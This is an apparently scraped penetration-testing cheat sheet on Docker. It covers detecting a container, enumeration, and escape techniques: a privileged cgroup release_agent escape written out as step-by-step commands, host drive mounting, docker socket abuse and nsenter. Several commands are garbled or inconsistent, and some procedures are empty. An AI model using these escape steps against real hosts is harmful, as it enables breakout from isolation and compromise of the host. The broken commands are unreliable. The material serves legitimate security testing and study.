Docker Container
Am I in a container?
Hostname is something like
dcdd01356172
or a similar hex stringroot folder contains
.dockerenv
fileexecuting
cat /proc/1/cgroup
returns docker stringsThere are few processes running and none of them are kernel spawned
Some default *nix commands such as wget, ps, ifconfig, ip are missing
DeepCE
Automated tool for vulnerability scanning inside a Docker container.
See https://github.com/stealthcopter/deepce
Download
Manual Enumeration
OS info
Running processes
Partitions
Network
All IP addresses are printed as little-endian hexadecimal strings. For example:
IP address: 020011AC --> AC.11.00.02 --> 172.16.00.02
Gateway mask: 0000FFFF --> FF.FF.00.00 --> 255.255.00.00
Container escape
Privileged container exploit
Requirements:
current user inside the container is root
the container must be running with cap_sys_admin capability enabled. Verify by using the following command
capsh --print | grep sys_admin
the
mount
command is present and enabled
Vulnerable containers are created with the following command
Procedure:
mount cgroup folder in container:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
configure the kernel to enable execution of scripts when process is released:
echo 1 > /tmp/cgrp/x/notify_on_release
find the container's file location on the host and store it in a variable:
host_path=sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab
create an exploit file on target machine:
echo "$host_path/cmd" > /tmp/cgrp/release_agent
insert code to be run in the exploit file. The output will be stored in a file called output.txt in the roof folder of the container:
echo" CMD > $host_path/output.txt" >> /exploit && chmod a+x /exploit
create a process that instantly dies triggering our payload:
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"
Mount host drive
Requirements
current user inside the container is root
the container must be running with cap_sys_admin capability enabled. Verify by using the following command
capsh --print | grep sys_admin
the
mount
command is present and enabledit is possible to detect external drives. Verify with
fdisk -l
Procedure:
Exposed deamon socket
Requirements:
current user inside the container is root or part of docker group
the file docker.socket is accessible inside the container. Test with
find / -type f -name docker.socket 2>/dev/null
The exploit procedure is the same as detailed in the section about Docker group exploits.
Namespace exploitation
Requirements:
current user inside the container is root
the file
/sbin/init
is visible inside the containerthe
nsenter
command is available inside the container
Procedure:
Run the following command to spawn a new process with the same namespace as the process with PID 1 (init) while sharing memory, hostname and network space with the container. This process will be used to spawn a shell
Last updated